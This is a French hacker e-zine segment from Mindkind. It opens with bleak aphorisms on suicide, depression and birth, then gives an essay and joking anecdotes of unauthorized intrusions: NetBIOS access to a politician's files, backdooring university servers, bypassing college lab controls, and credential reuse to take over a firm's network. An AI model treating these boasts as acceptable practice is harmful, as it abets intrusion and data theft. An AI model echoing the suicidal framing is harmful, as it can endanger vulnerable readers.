L'idée  de  se tuer   est tellement  unique en  soit, qu'on  la rejette le plus
souvent possible,  question  de garder  notre esprit prêt et vide de tout  sens
lorsque l'occasion va se présenter.

*

Aujourd'hui je veux mourir,  demain je serai  sûrement  encore  en
vie; je me vois donc dans l'obligation de déprimer.

*

On  a  une  conscience lorsque l'on est conscient d'en avoir une.

*
 
Mort : certificat que l'on  reçoit pour approuver que l'on à vie.

*
 
Être  née:  devoir  porter  le  fardeau  de  devoir faire quelque chose.

*
  
La  lâcheté  n'est  pas  un état  physique,  mais un mode de vie.

*

Le  but  du  jeu  est  de contredire la majorité, pour ensuite y
trouver une raison valable. 
 
 
*
 
Ne pas être aimé; ne rien devoir à personne : l'idéal.

*

Suis-je occupé à vivre ou à mourir?

*

Dieu: néant lui-même.

*
 
L'homme  qui   consacre  sa  vie  aux autres  a très bien compris
l'erreur de sa naissance.

*
 
Ne cherchez pas le bonheur, il ne vous cherche pas lui-même.

*

Dictionnaire  :  définition   de   certains   mots   par   X,  et 
controversée par Y.

*

C'est  dans  les  moments  les  plus sinistres  que  l'on  abouti
à quelque chose ... le goût de la fin, de la défaite.

*

On  comprend  toujours  les  choses  trop  tard,  pour  qu'en fin 
de compte, on ne  soit  qu'un  pseudo-activiste ...  un  penseur,
un écrivain.

*

Aussi dépressif soit-il; aussi intelligent soit-il.


*

Avoir  à  vivre,  devoir  construire  quelque  chose,  jour  après
jour, pour qu'en fin de  compte,  comme  un  mieux  que rien,  on
finisse  de  la  même  façon  que  celui qui avait tout  compris,
que celui qui n'a rien fait, qui na rien construit ... 

*

Être: prendre conscience que l'on a une conscience.

*

Ton ennemie: reflet de ton image.

*

Nous  finissons   tous  au   même  endroit,  tôt ou  tard, et ce, 
pour l'éternité. Le malheur: finir à coté de son ennemie.

*

Pseudo    système   socialiste ,    population    non-consciente;
population heureuse...

*

Peut-on   avoir  moins  de conscience que quelqu'un qui  n'ai pas
née?

 *

Mettre  en  enfant   au  monde:   le   crime  pas excellence;  la 
vengeance d'avoir été née.

*
   
Faute de travailler davantage, je continue à croire que  j'ai  du
talent dans quelque chose d'encore inconnu ...

*

N'acceptez pas un service, vous devrez, un jour  ou  l'autre,  le
rendre.

*

A vous  qui ne pouvais pas lire se texte, fiez-vous sur moi, être 
humain est un trop gros fardeau pour naître.
                                                           
*

L'idée  de  me dissoudre dans le mot être me semble être une perte
de  temps  inconcevable. 

*

La  déprime  est  l'état même de la rencontre avec l'idée du 
non-être.  

-------- 

L'histoire  de  notre  pays,  et des  pays voisins, nous permet de percevoir la
réalité  sociale   d'en  laquelle   les  habitants   y vivent.    On  s'attache
énormément  aux  victoires de notre pays, et on essai,  tant  bien que mal,  de
trouver  des  raisons   aux défaites. Par  conséquent,  les  américains   n'ont
aucune  raison  valable de   se  laisser  marcher sur   les  pieds;  alors  que
les français de  France  ne  peuvent   faire  autrement   que   regretter leurs
défaites,  et   d'en   trouver   les   raisons.   Plus    un   pays  gagne   en
victoires,  plus  il   semble  facile  de   continuer  à gagner.   Alors  qu'un
pays  qui  perd chaque jour, la défaite ne semble point être apprivoisable.  On
a  beau   perdre  mainte    et une   fois,  cela   semble  toujours  aussi  dur
que  la  première fois,  qu'à   la  première  défaite.  L'évolution d'un  pays,
avant qu'il ne commence à  perdre,   ou  gagner,  ce  fait  en  fonction  d'une
personne, et  la  victoire  ou  la   défaite  est relatif à la puissance  d'une
pensé,   d'un  rêve.   Certain  pays   sont  donc  devenus puissant    car  le
premier   fondateur   avait   décider d'être puissant,  et,  du même  fait,  il
se  croyait  capable   de mettre  son   rêve  en  action.   Pour  d'autre pays,
ceux qui ont accumuler    défaite   après   défaite,  leurs  incapabilités    à
croire  à  ce  qu'il  rêve  est  la cause de défaites  successives. Alors,  les
pays perdant  dans  l'histoire   ont  évoluer   avec  une  vérité acquise  avec
les  années :  se  qu'on  rêve  n'est qu'un rêve.  Comment   leurs  prouvé   le
contraire?   L'histoire   vient  leur  prouvé  qu'ils  ont  raisons;   que   la
victoire  n'est   gagner que  par d'autres,   et  qu'ils   ne  sont   pas de se
groupe.  Pour les  habitants   de   pays   victorieux,  leur  vérité  est  tout
autre.   Gagner,   c'est   pour  eux.   Comparativement   aux  perdants qui  ne
peuvent   pas   comprendre   les    victorieux,   les gagnant  réussi  facile à
comprendre  pourquoi  certains  pays  n'ont  pas eut de succès;  ils   attribut
à  leurs  nombreuses  défaites un manque de  vouloir,  un  manque  de  volonté,
et   un  manque   de travail.   Ce  qui    succède   était    à  prévoire:   la
France n'a guère  digérer   leurs  nombreuses  défaites,  et faute d'essayer de
gagner, car  ils   croient  que  gagner   ce n'est pas  pour eut, ils  essaient
tant   bien   que  mal   d'apprivoiser   leurs  défaites  antérieures,  et  les
défaites  récentes.  Et de  ce  fait, perdre est  donc pour eux;  la   défaite,
ils  vont  finir   par  l'aimer. Sans   pour  autant  l'apprivoiser.    Ne  pas
gagner deviendra  une normalité,  et personnes  ne pourra   les  mépriser.  Les
pays  les  plus gagnant,  perdre  n'est   pas  une   norme,   alors que  gagner
l'est. Leurs  habitants  n'ont  aucunes   raisons  de  se  laisser tanner   par
d'autres,  et  il  associeront  leurs   victoire à la cause  de   leurs  rages.
Ils  ont subit  un  lavage de cerveau à l'école  dans  leur  cours  d'histoire;
gagner, c'est ce que  le pays à  été capable, c'est donc  se  que  vous   serai
capable  de faire.  Par   conséquent,   les   perdants   ne    sont   nullement
accepter,  et les  gagnants,  tricheurs   ou non,   seront  placés sur  la plus
haute  marche  du  podium.   Les  2  groupes  auront beau essayer de   s'aimer,
ils  ne   réussiront  point.   Alors on  fera  appel   à  une   forme  d'humour
nouvelle  pour   dire ce  que l'on   pense  réellement.   Alors  que  même,  ce
qui  est le  plus dommage,  personne    de   n'autre   société    nouvelle  n'a
aider  directement   aux   victoires    anciennes.    C'est    ce    que    les
perdants  continus  d'essayer de  prouver,   et  c'est  ce que les  gagnants ne
veulent pas comprendre ...

                                                           c4ndu.


            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                 c4ndu@mindkind.org                      /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'





     Un autre dicton Mindkind :
     " Fumer peut causer avec le cendrier et vous faire écrire dla philo "

     ___ __
     \  __ \ __ __         
      \/     _    \       
      |_____|_|____|               
      /            \                                 
     '  ( o ) ( o ) '                                  
     |              |                     
    ,'        \     |               
   (           \    '           
    '.        __)   |       )  ))()
     |              .      )(( ) )((
     |       .<>________  (() )) )(
     '       `<>--------' (())
      \            /            
       \ _     __ /     |___|     
        ___|  |_____    |   |    
       /\           \   |  (_| 
      :  \/         ,' |_)(__|  
      |  |         |/ \ |__(_|   
      '  |         :\  \/  .' 
      :  |         | '    /
      |  |         |  \__/
      '  ' ___ _ _.'   
       \ /         |        
       |/          |           
       |      +    '                         
       |      '    |                          
       |      |    :         
       '      |    |     
       |      |    /      
        '----' '--'__    
        /    \ /     |    
        '----' '-----'     ascii by c4ndu





                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.18  Mindkind Hack Reader's Digest                   \        \     !
     .             aka                                         \        \    .
     ;             .hack_hi story                               \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                    


On a décidé  de se la  jouer à la  harlequin et de  vous proposer des  lectures
"easy" qui portent  sur des sujets  qui vous intéressent  (à part le  sexe la).
Donc on tient à dire que tout ici  est anonyme, et pis on garanti même pas  que
c'est vrai, c'est juste des histoires,  c'est de la fiction, ça existe  pas les
ordinateurs, va te coucher Jean-Paul yé minuit et quart.

+------------------------------------------------------------------------------+

- Des putes et des secrétaires

J'étais jeune, genre en secondaire 3 ou  4. Je scannais pour du Netbios sur  le
range de Vidéoétron (ne pas confondre  avec Vidéotron). Et la j'ai fini  par en
pogner  un. Un  moment donné,  je me  suis rendu  compte que  j'avais pogné  la
secrétaire d'un député, du cube québécois  (ne pas confondre avec le BQ).  Elle
avait tous les documents du député,  c'est elle qui les tapaient. Y'avait  tout
plein de renseignement  confidentiel, les comptes  de dépenses, des  projets de
transports en commun par aéroglisseur  haha. J'ai downloadé le répertoire,  pis
j'ai rit pendant des  heures. The Gazette faisait  des recours en justice  pour
avoir accès aux comptes de dépense des députés, moi j'en avais un dans face! Le
pire la, y'ont perdu en cours :)

+------------------------------------------------------------------------------+

- Mission Take Back

On avait pogné  un accès sur  une machine dans  une université aux  USB (ne pas
confondre avec les  USA). On était  vedge et on  en avait juste  de besoin pour
runner  quelques affaires,  donc on  a pas  prit la  peine de  backdoorer. Par
contre, un jour, l'admin  root c'est rendu compte  que son CPU était  utilisé à
100% pas mal souvent et a checké sa machine.. et trouvé John the Rapper (ne pas
confondre avec John the Ripper) dans  un directory. Y'a donc emailé la  machine
duquel le user c'était loggé pour avertir  le root que un de ses users  s'était
connecté sur son serveur pour runner  de quoi de louche. Heureusement on  avait
le root sur l'autre machine  et on a pogné le  email. Après lavoir effacé on  a
essayer  de  se logger  sur  l'université, mais  l'account  était disabled.  La
machine était patché contre l'exploit remote (ah le bon vieux red hat 5.1),  et
le seul moyen  qui nous restait  c'est d'être en  local. On a  presque give up,
alors qu'un jour je regardais le finger port, et j'ai vu quelques users  loggé.
J'ai faite : hum tout d'un coup que j'ai de la chance pis que ya un gars qui  a
sa machine  de open  avec son  password sur  la box!  Alors, j'ai  checké, sans
succès. Y'avait juste du monde de loggé de machines interne à l'université,  et
c'était du WinNT (robuste dans le  temps de NT4) pas open. Pourtant  c'était le
soir très tard. Je me suis alors rappelé que la box était sur la côte ouest, et
que la bas ils sont en avance  de quelque heure. Donc mon soir très  tard était
en faite  leur avant  midi.. J'ai  donc essayé  dans la  journée l'après midi..
bingo, il y  avait du monde  de loggé de  leur maison. J'ai  regardé... asteure
fallait que j'aille encore plus de  chance, et qu'un d'eux soit ouvert  avec le
pass à quelque part.. J'en ai regarder une couple (ah le bon vieux Netbios,  ça
marche  mieux qu'un  singe ça),  et j'ai  fini par  trouver un  gars qui  avait
SecureCRT ou  HyperTerminal (jme  rappelle pu  lequel) et  qui avait  saver son
pass. Sautant de joie, j'ai pris en note le pass, j'y suis retourné plus  tard.
J'ai re-rooté la machine  pis j'ai enfin backdoorer  ça comme du monde.  Fin de
l'histoire, la box ma duré un bon 2 ans après ça (on a fini par arrêter de tout
le temps l'utiliser pour cracker.. heh).


+------------------------------------------------------------------------------+

- Cégep Gaming

Bon toute les gars du Cégep vont me reconnaître après ça, mais c'est pas  grave
c'était avec ça qu'on c'est marré pendant 3 ans de temps.. hehe

Au Cégep nous on avait un trip : le prohibited gaming. Un peu comme prendre dla
drogue alors que c'est illégal, le gaming dans les locaux alors qu'on avait pas
le droit était rendu une vrai  drogue (déjà que le gaming lui-même  c'est assez
intense). On se ramassait tout le temps  une gagne de 4 à 16 personnes  pendant
nos temps libres (entre les cours, pendant les cours qu'on aillait pas, et  des
méga rumbles  le vendredi  soir). On  avait même  un nom  de team qui avait les
mêmes  abréviations  que  notre association  étudiante.  J'avoue  qu'une grande
partie du trip fût les games de Starcraft à 8 pis de Rainbow Six à 12 000.  Les
responsables au Cégep le  savaient très bien qu'on  semait la terreur dans  les
locaux sur  l'heure du  midi, ils avaient même écrit à la bibliothèque sur  les
écrans "LE JEU EST INTERDIT".

M'enfin le fun "technique" qu'on avait avec ça, c'était les parties de run  and
hide avec les techniciens de la  place. Bien sur y'avait plus que  les stickers
"JEU INTERDIT", les techniciens devaient  passer tout leur temps à  trouver des
nouveaux programmes de blockage. Le reste du temps il ghostait les machines qui
avaient des jeux dessus. Un jour il  se sont même décidés à décrisser tous  les
CDROM sur 3 étages et à visser les machines avec des barres de métal, faut dire
que le cégep  était le main  supplier de stock  volé d'ordi de Montréal j'pense
(haha). M'enfin là on  était pogné avec une  triste réalité : pu  de CDROM pour
pouvoir jouer. Les  seuls CDROM qui  restaient était dans  un local au  160ième
étage qui était  occupé du matin  au soir.. quoi  faire? J'me rappelle  un jour
quelqu'un avait emmené Starcraft sur disquette, genre 46 ou 47 disk. Le  disque
24 était corrompu.  Crap. Alors on  décida de se  la jouer WAREZ.  On pogna une
version warez  de notre  jeu qu'on  voulait, et  on allait  au 160ième étage le
loader sur les machines pour  ensuite le transférer. Par contre  c'était chiant
on était obliger de monter en haut à chaque fois qu'on voulait jouer, on aurait
pu se faire créditer un cours d'éducation physique avec ça je pense. M'enfin un
jour on a eu Internet plus rapide, alors on avait pu besoin d'aller au  160ième
downloader nos CD, on pouvait downloader ça direct d'une dump sur le net... par
contre ça allait pas  assez vite pareil. On  a commencé a spotter  des machines
bâtardes  dans des  locaux normaux,  et on  a faite  des backups.  Y'avait des
backups de nos jeux partout, dans  au moins 5-6 endroits stratégiques. Dès  que
le technicien ghostait nos  locaux de jeu (faut  dire que nos préférés  étaient
ceux en administration avec les machines les plus ressentes, ah pis yavait même
un lab qui avait des cartes 3d..  heheh) nous on revenait avec nos backups  qui
était sur  un FTP  a quelque  part dans  l'école... à  1meg/seconde (LAN speed)
c'était plutôt rapide (et  peu forçant a faire).  Mais la un jour  on est tombé
sur de quoi de WEIRD, "ne peut copier le exe"...

Les techniciens c'était décidés à  nous mettre des pseudo-protections. Bon  ok,
en réalité, on  avait déjà Fortress  (un programme plutôt  cheap), mais y'était
tellement simple  à bypasser  du genre  tu pèse  sur CTRL-ALT-DEL  avant que la
machine soit totalement bootée pis tu la kill. Y'a eu aussi le fait qui pouvait
nous retracer avec nos accounts Novell, donc on s'est mit à pogner des accounts
qui traînaient dans les bac à  récupération. Mais là, "ne peut copier  le exe",
c'était  weird.. y'avait  aucun programme  qui roulait,  mais on  a  finit  par
trouver un programme de contrôle à quelque part dans Program Files, mais aucuns
signes de  où est-ce  que ça  roule cette  merde là...  alors j'ai  cherché sur
Internet. Pis j'ai trouvé  ça : The blabla software installs itself as a VXD...
un VXD putain d'criss. Faut dire qu'on avait des machines Win95 (pouha, mais ça
allait bien pour gamer.. hehe), le VXD c'était vraiment l'ultime shit. On avait
le truc pour pouvoir éditer la  base de registre (fallait juste runner  le prog
d'edit rights win9x dans le  répertoire de l'installation de win95..  qui était
mappé sur  un drive  réseau... haha),  donc j'ai  pu aller  voir quelle merde y
loadait. Après un peu de recherche, j'ai trouvé le fameux CACA.vxd, j'ai deleté
la ligne, rebooté, et rien. Y'était  revenu le sale. J'ai décider de  booter en
dos pour voir (avec un boot disk, le safe mode and shit était scrap), pis je me
suis rendu compte  que yavait un  beau répertoire ultra-caché  (avec le VXD  me
semble) qui contenait un backup de  la base de registre and stuff.  J'ai éditer
le .bat qui runnait  ça (REM REM REM!!!)  pis j'ai rebooté, édité  le registre,
rebooté, succès. Après ça c'était plutôt fastoche de faire un ti batch file pis
un .reg qui edit tout à notre place.. et voila on avait la clef de la rapidité.
On a pu jouer encore plus, toute en continuant de faire dla crap ailleurs  dans
le Cégep (je crois que les techs  on finit par lâcher prise, y faisaient  juste
ghoster à la  fin) parce que  juste jouer facilement  était rendu un  peu moins
lfun  pour  moi.  Et c'est  ainsi  que  3-4 personnes  pochèrent  leurs  DEC en
informatique à cause du gaming. Aujourd'hui on s'est recyclés en autre chose de
plus officiel, mais on continue de jouer, mais moi jsuis pas un gamer (ah).

Bon fak c'était ça  l'histoire, c'était plutôt cheapo  comme hack mais le  fun,
peut-être que ça va inspirer la génération future... malgré que  WinXPEE  c'est
plus facile à owner, même pas besoin d'être assit devant l'ordi! hehe


+------------------------------------------------------------------------------+


- La curiosité est une vilaine qualité

Dans le temps j'étais dans une crew de divx pis de warez, c'était au début  des
FTP pubs fak  on scannait pour  pouvoir FXP notre  stock dessus. Un  jour je me
suis mis à trouver des FTP  qu'on avait accès à plusieurs répertoires.  C'était
des sites qui étaient  pointés via le web  et via complètement un  autre ip (ou
nom de domaine). J'me suis pas cassé  la tête j'ai uploadé du warez dessus  pis
on avait une dump HTTP qui était  impossible de trouver par quel FTP y  fallait
uploader, plutôt neat.  Un jour je  suis tomber sur  de quoi de louche, y'avait
pleins de répertoires, et dans un répertoire en particulier des fichiers Excell
et Access.  J'ai downloadé  les files,  puis j'ai  trouvé dans  les fichiers de
database, que yavait des user/pass.  Malheureusement y'avait aucun ip, juste le
nom de la machine "mail1.stupidnet" genre. J'ai mis ça de coté et j'ai continué
mon scan de FTP. La journée d'après j'étais encore dans le même coin (genre  le
FTP était sur 64.4.4.4 et je scannais  sur 64.6.*) pis là j'ai pogné un  FTP en
Windows qui ma sorti un connect  string avec genre : ftp1.stupidnet Je  me suis
rappelé mon mail1.stupidnet, et j'ai crié BINGO! Après ça j'ai essayé  le  host
complet genre mail1.levrainet.com et j'ai vu  qui avait le port ssh de  ouvert,
j'ai essayé des user/pass, et ça  l'a marché. Avec cette porte d'ouverte,  j'ai
pu owner leur réseau Linux (serveurs) et Windows (stations). C'était le  réseau
de 2 gars qui avaient une compagnie qui faisait de la sécurité  informatique...
genre snort était installer sur certaines machines, mais bon, j'ai même pas  eu
besoin de scanner ou  d'essayer rien d'autre que  d'entrer un user/pass en  ssh
pour pouvoir avoir accès local. Fin de l'histoire.


+------------------------------------------------------------------------------+


Bon voilà c'était nos  histoires. Faites-nous signe si  vous avez aimés ça,  si
vous voulez  sender vos  histoires on  va les  mâcher /  hacher /  reformuler /
digérer / recontextualiser  / ridiculiser /  ultraordinariser pour vous  et les
publier dans le prochain  Hack Reader Digest. Par  contre il est a  noter qu'on
prends juste des "hack" vieux de 2 ans, pis qu'on tient compte que même si  les
hack sont réalistes, ils peuvent être  faux, on s'en fiche, on avoue  rien ici,
on ne fait que raconter des histoires pour divertir...

Et c'est signé : anoymousses.


            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                mindkind@mindkind.org                    /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'




Mindkind présente : "Story that didnt makes it for Hack Reader's Digest"
                    aka "On aurait pas du dire Harlequin dans l'intro"

Tout c'est passé l'été dernier alors que j'étais en vacances chez ma tante.  Il
fesait beau  et le  soleil plombait  a 50  degrés celcius  - presque assez pour
vaporiser l'eau que  contenait la magnifique  piscine devant moi.  L'après-midi
battait son plein quand je l'ai aperçu  pour la première fois elle était là,  a
se  dorer au  soleil ces  jolies courbes  me rappelaient  celles  d'une  sirène
remontée du plus  profond de la  mer. Elle avait  une couleur parfaite  et elle
semblait si puissante mais si coquine,  à la fois douce et très  jolie, presque
parfaite.  Tatouée   de  trois   lettres  sur   les  hanches,   je  ne  pouvais
malheureusement  pas les  lire car  j'étais trop  loin. Puis,  en  prenant  mon
courage je me suis levé, tranquillement en utilisant une démarche sûre mais pas
inquisitoire. Plus  je m'approchais,  plus je  la voyais  et plus  je l'aimais.
J'avais envie de la délivrer de cette chaleur torride Je m'assied à coté d'elle
et avec  quelques mouvements  brefs je  l'avais conquise.  Elle répondait a mes
moindres gestes comme si je pouvais être en symbiose avec elle. J'ai longuement
joué  avec elle  jusqu'à la  tombée de  la nuit,  l'heure où  j'ai  dû  quitter
l'endroit. Encore aujourd'hui je me demande qui avait laissé traîner un serveur
Athlon MP sur le bord d'une piscine a 50°C. Très énigmatique...


                                                                          
                +------------------+                                      
                |  Félicitations   |                                      
                |  vous avez lu    |                                      
                |  le e-zine au    |                                      
                |  complet. Vous   |                                      
                |  êtes maintenant |                                      
                |  à la            |                                      
                |          FIN.    |    
                +--------<>--------+                                      
 //                      ||                                               
   //                    ||                                               
     //                  ||                                               
       //                ||                                               
         //              ||                                               
           //            ||                                               
             //          ||                 +----------------+            
#              //        ||                 |  Félicitations |            
###              //      ||                 |  vous avez     |            
  ###              //   ,||,                |  atteint les   |            
                     //                     |  limites       |            
                       /i                   |  inexplorées   |            
         ###             /n                 |  de ce fichier |            
           ###             /i               +-------<>-------+            
/            ###             /t                     ||                    
 //                            /_                   ||                    
   //                            /n                 ||                    
     //                            /u               ||                    
       //            ###             /l             ||                    
         //            ###             /l           ||                    
           //            ###             //         ||                    
             //                            //       ||      +-----------+ 
               //                            //    ,||,     | Prochain  | 
                 //             E              01           | Segment:  | 
                   //             O              00         | 0x32323432| 
                     //             F              10       +-----<>----+ 
                       //                            11           ||      
                         //                            11         ||      
                           01            1               00       ||      
                             00            1               00    ,||,     
                               00            0               10           
On vous a encore fait le coup    11                            10         
de l'exploitation d'un event à des 01                            10       
fins commerciales. N'y prenez pas    00             1                     
habitude, en effet n'allez pas croire  11             1                   
qu'on va vous écrire à la St-Valentin    10              1                
pour vous dire qu'on vous aime.            10                             
                                 







